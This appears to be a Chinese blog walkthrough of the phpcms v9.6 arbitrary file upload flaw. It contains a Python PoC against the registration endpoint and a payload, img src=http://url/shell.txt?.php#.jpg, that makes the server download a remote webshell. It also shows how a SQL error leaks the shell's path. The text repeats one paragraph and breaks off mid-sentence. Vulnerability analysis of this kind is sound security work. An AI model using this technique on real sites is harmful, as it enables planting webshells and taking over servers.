查看原文
其他

WeChat ID hee_tian Intro 为广大信息安全爱好者提供有价值的文章推送服务! 点击“合天智汇”关注,学习网安干货 0x00漏洞概述 漏洞简介 前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复. 漏洞影响 任意文件上传 0x01 漏洞复现 本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。 首先我们看简化的 PoC : import re import requestsdef poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': '[test@test.com](mailto:test@test.com)', 'info[content]': '', 'dosubmit': '1', } rep = requests.post(u, data=data) shell = '' re_result = re.findall(r'<img src=(.*)&gt', rep.content) if len(re_result): shell = re_result[0] print shell 可以看到 PoC 是发起注册请求,对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置: 通过 PoC 不难看出我们的 payload 在$_POST['info']里,而这里对$_POST['info']进行了处理,所以我们有必要跟进。 在使用new_html_special_chars对进行编码之后,进入$member_input->get函数,该函数位于caches/caches_model/caches_data/member_input.class.php中,接下来函数走到如下位置: 由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中: 接下来函数执行$this->attachment->download函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php中: function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')  {    global $image_d;    $this->att_db = pc_base::load_model('attachment_model');    $upload_url = pc_base::load_config('system','upload_url');    $this->field = $field;    $dir = date('Y/md/');    $uploadpath = $upload_url.$dir;    $uploaddir = $this->upload_root.$dir;    $string = new_stripslashes($value);    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;    $remotefileurls = array();    foreach($matches[3] as $matche)    {        if(strpos($matche, '://') === false) continue;        dir_create($uploaddir);        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);    }    unset($matches, $string);    $remotefileurls = array_unique($remotefileurls);    $oldpath = $newpath = array();    foreach($remotefileurls as $k=>$file) {        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;        $filename = fileext($file);        $file_name = basename($file);        $filename = $this->getname($filename);        $newfile = $uploaddir.$filename;        $upload_func = $this->upload_func;        if($upload_func($file, $newfile)) {            $oldpath[] = $k;            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;            @chmod($newfile, 0777);            $fileext = fileext($filename);            if($watermark){                watermark($newfile, $newfile,$this->siteid);            }            $filepath = $dir.$filename;            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);            $aid = $this->add($downloadedfile);            $this->downloadedfiles[$aid] = $filepath;        }    }    return str_replace($oldpath, $newpath, $value);} 函数中先对$value中的引号进行了转义,然后使用正则匹配: $ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value; 函数中先对$value中的引号进行了转义,然后使用正则匹配: $ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value; 这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload img src=http://url/shell.txt?.php#.jpg符合这一格式(这也就是为什么后面要加.jpg的原因)。 接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下: 可以看到#.jpg被删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。 我们继续执行: 程序调用copy函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了: shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了register函数中: 可以看到当$status > 0时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下: 也就是向v9_member_detail的content和userid两列插入数据,我们看一下该表的结构: 因为表中并没有content列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们: 上面我们说过返回路径是在$status > 0时才可以,下面我们来看看什么时候$status

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存